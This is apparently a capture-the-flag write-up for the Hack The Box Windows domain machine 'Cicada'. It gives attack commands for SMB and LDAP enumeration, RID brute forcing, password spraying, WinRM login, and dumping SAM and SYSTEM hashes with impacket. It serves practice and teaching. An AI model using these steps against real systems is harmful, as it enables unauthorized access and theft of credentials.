> For the complete documentation index, see [llms.txt](https://a-g-1.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://a-g-1.gitbook.io/writeups/machine-writeups/htb-cicada.md). # HTB-CICADA ## HTB-CICADA Great machine to clarify basic loading in enumeration and clear up misconfigurations in common windows services.

Released on 28 Sep 2024 Created by theblxckcicada

## Enumeration - NMAP Portscan `NMAP -p- -sV ` `PORT STATE SERVICE VERSION` `53/tcp open domain Simple DNS Plus` `88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-18 02:28:03Z)` `135/tcp open msrpc Microsoft Windows RPC` `139/tcp open netbios-ssn Microsoft Windows netbios-ssn` `389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)` `445/tcp open microsoft-ds?` `464/tcp open kpasswd5?` `593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0` `636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)` `3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)` `3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)` `5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)` `Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows` ## Enumeration - SMB `smbclient -L //`

we will Figure out that we can access /HR without further permission `smbclient -L ///HR -SMB2`

wich basically leads to a .txt file with usefull content.

Now that we captured a Password the easy way, we have to get some users to use it with.. ## Enumeration - RID-Brute Force crackmapexec smb \ -u guest -p '' --rid-brute

By Password Spray you will figure out that you can use "michael.wrightson" as a user to enumerate further with. ## Enumeration - LDAP `ldapsearch -x -H ldap:// -D "Cicada\\michael.wrightson" -w '' -b "DC=cicada,DC=htb" "(objectClass=user)"` Inside the LDAP Results we will find information about David Orelious, who dared to implement his Password in the Deskription.

## Enumeration RPC `rpcclient -U CICADA.htb\michael.wrightson ` `enumdomusers`

`enumdomgroups`

## Enumeration SMB Part II `crackmapexec smb -u david.orelious -p '' --shares`

crackmapexec smb \ -u david.orelious -p '\' --groups We should take a look inside the new gained access folders..

and also keep in mind that they are some interesting permissions going on.. smbclient //\/dev -U CICADA\\\david.orelious

we will find some hardcoded credentials of our dear emily here..

## User FLAG smbclient //\/C$ -U CICADA\\\emily.oscars

## Privilege Escalation evil-winrm -i \ -u emilly.oscars -p '\' whoami /all

reg save hklm\sam c:\temp\sam reg save hklm\system c:\temp\system download sam download system Use the tool of your choice to dump the secrets now\.. in my case i used the "impacket" toolset secretsdump.py -sam sam -system system LOCAL

## Root FLAG Afterwards just Win-rm to the target machine and obtain the root.txt flag.